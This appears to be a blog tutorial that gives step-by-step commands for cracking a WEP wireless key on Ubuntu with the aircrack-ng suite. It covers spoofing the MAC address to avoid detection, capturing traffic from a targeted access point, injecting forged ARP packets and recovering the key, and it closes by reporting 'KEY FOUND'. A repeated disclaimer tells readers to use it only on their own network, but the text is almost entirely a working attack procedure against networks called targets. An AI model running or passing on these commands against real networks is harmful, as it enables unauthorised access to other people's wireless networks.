How To Crack Wep Key Tutorial

HOW TO CRACK A WEP KEY (TUTORIAL) This tutorial tells you a few single steps to crack a WEP key, the wireless device that it’s used is DWL-G122 ver. B1 on Ubuntu 9.04 (Linux) Before you can use the sentences in this tutorial, install with the synaptic source manager, AIRCRACK-NG and MACCHANGER. Open a new shell and type: 1. airmon-ng, with this you confirm that your device is perfectly connected to your computer, and then you can know the interface and the driver that is using; in this case we use wlan0.

2. airmon-ng stop wlan0, this stops the monitor mode for a while, your device will be disconnected until we can change the MAC address to a faked MAC address.

3. ifconfig wlan0 down, puts the device down

4. macchanger - -mac 00:11:22:33:44:55 wlan0, this change you MAC address for a faked MAC, with this we can prevent our device to be detected.

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

5. airmon-ng start wlan0, this turns on your device and it’s connected again on your computer enabling the monitor mode that is the one who makes that we can detect wireless signals and crack a wep key fast.

6. airodump-ng wlan0, with this our device it’s going to detect all the wireless signals around. TIP: Take the MAC address that you are going to attack and copy it (ctrl + shift + c) TIP2: When you have the MAC address press (ctrl + c) to terminate the process airodump.

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

7. airodump-ng -c "channel" -w "filename" --bssid "MAC" wlan0, this tells the behavior of the wireless signal that you are going to attack. The data (IVs) will be captured in a slow way. TIP: Keep this shell open and maintain your eyes on the #Data

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

Open a new shell and type: 8. aireplay-ng -1 0 -a "MAC" -h "faked MAC" -e "ESSID" wlan0, this will send an authentication of the wireless signal to your device, and it’s going to be associated.

9. aireplay-ng -5 -b "MAC" -h "faked MAC" wlan0, this will capture packets from the wireless signal, and will make a XOR file that permits that we can build a packet with another sentence that is packetforge-ng. TIP: When we have a question “use this packet?” just type “y” and intro.

10. packetforge-ng -0 -a "MAC" -h "faked MAC" -k 255.255.255.255 -l 255.255.255.255 -y ".XOR FILE" -w ARP, this will make the XOR file an ARP file of packets that it’s going to be transmitted soon. With the ARP file we can insert more packets and the data will be increased. Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

11. aireplay-ng -2 -r ARP wlan0, the data(IVs) will be captured in a high way on the shell that we don’t close, with that we have to wait until we have at least 10000 IVs to use the next sentence. TIP: When we have a question “use this packet?” just type “y” and intro. TIP2: Keep this shell open.

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

Sending the firsts packets.

Sending 1000 packets.

Sending 10000 packets.

Open a new shell and type: 12. aircrack-ng -b “MAC” “filename”.cap, with this we are going to have the unencrypted key. TIP: The filename is the one that you typed on step 7. TIP2: You have to be patient maybe with 10000IVs it’s not enough to have the unencrypted key, maybe you should try with more data (IVs).

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

First TRY, with 10614(IVS)

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

Raniver

First try FAILED! Next try with 15000(IVs)

Please try this with your own wireless network device, this is against the law and could suffer serious damages against you.

Raniver

Second TRY, with 15636(IVs), KEY FOUND!

So there we can find the key, remember to be patient and you will have the key.
